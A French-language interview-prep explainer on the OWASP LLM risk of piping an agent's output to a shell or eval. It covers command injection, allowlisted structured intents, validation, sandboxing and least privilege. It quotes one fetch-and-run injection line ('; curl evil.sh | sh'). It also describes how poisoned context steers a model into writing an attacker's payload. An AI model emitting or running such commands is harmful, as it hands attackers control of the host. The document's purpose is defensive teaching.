La sortie d'un agent LLM est transmise à un shell/`eval` pour exécuter des commandes. Quel est le risque et la correction ?
Réponse courte
C'est la « gestion incorrecte des sorties » d'OWASP LLM : une sortie de modèle influencée par l'entrée utilisateur peut devenir une injection de commande lorsqu'elle est transmise à un shell ou à eval. Traitez-la comme non fiable — faites correspondre les intentions à une petite liste blanche d'actions paramétrées, validez strictement et exécutez dans un bac à sable plutôt que de lancer des chaînes générées brutes. Faire confiance à la sortie, augmenter la limite de jetons ou se contenter de journaliser n'arrête en rien l'injection.
Quelqu'un a câblé un agent de sorte que tout ce que le LLM produit soit transmis directement à os.system, à un shell ou à eval. Cela paraît pratique — le modèle « connaît » la commande à lancer. C'est aussi une voie directe vers l'exécution de code à distance.
Pourquoi c'est dangereux
La sortie du modèle n'est pas une donnée fiable. Elle est façonnée par tout ce qui est entré dans son contexte : le message de l'utilisateur, un document récupéré, une page web rapatriée. Un attaquant capable d'influencer l'un de ces éléments peut orienter la chaîne générée. Dès que cette chaîne atteint un shell ou eval, vous avez une injection de commande — le modèle devient un adjoint confus qui rédige la charge utile de l'attaquant à sa place. OWASP appelle cela la gestion incorrecte (non sécurisée) des sorties : faire confiance à la sortie du modèle comme s'il s'agissait de code ou de balisage sûr.
Une seule entrée forgée comme ; curl evil.sh | sh glissée dans le raisonnement du modèle, et vous avez cédé l'hôte.
La correction : traiter la sortie comme non fiable
- Mettez en liste blanche des intentions, pas des chaînes. Faites émettre au modèle une intention structurée (par ex. JSON :
{"action": "restart_service", "name": "nginx"}) et faites-la correspondre à un petit ensemble de fonctions paramétrées préécrites. Ne concaténez jamais le texte du modèle dans une ligne de commande. - Validez strictement. Vérifiez l'action par rapport à la liste blanche, validez chaque paramètre (type, plage, jeu de caractères) et rejetez tout ce qui ne convient pas.
- Exécutez en bac à sable. Si quelque chose doit vraiment exécuter du code, isolez-le : conteneur verrouillé, pas de réseau, privilèges réduits, limites de ressources, système de fichiers éphémère.
- Moindre privilège. Ce qui exécute l'action ne doit détenir que les permissions minimales nécessaires.
Pourquoi les distracteurs échouent
- « La sortie est fiable » : c'est exactement l'hypothèse exploitée. La sortie du modèle est en aval d'une entrée non fiable.
- Augmenter la limite de jetons : les limites de jetons contrôlent la longueur, pas la sécurité. Une charge utile plus longue reste une charge utile.
- Journaliser et passer à autre chose : la journalisation vous donne une trace de la compromission après coup ; elle n'empêche rien.
Ce que les recruteurs veulent entendre
Que vous l'identifiez comme une gestion incorrecte des sorties menant à une injection, que vous refusez d'exécuter des chaînes générées et que vous les remplacez par des actions validées, sur liste blanche, en bac à sable et au moindre privilège.
Questions de suivi probables
- Pourquoi une liste blanche d'actions paramétrées est-elle plus sûre que l'assainissement d'une chaîne de commande générée ?
- Comment un attaquant pourrait-il orienter la sortie du modèle sans jamais toucher à votre gabarit de prompt ?
- Quel bac à sable utiliseriez-vous si une action doit réellement exécuter du code arbitraire ?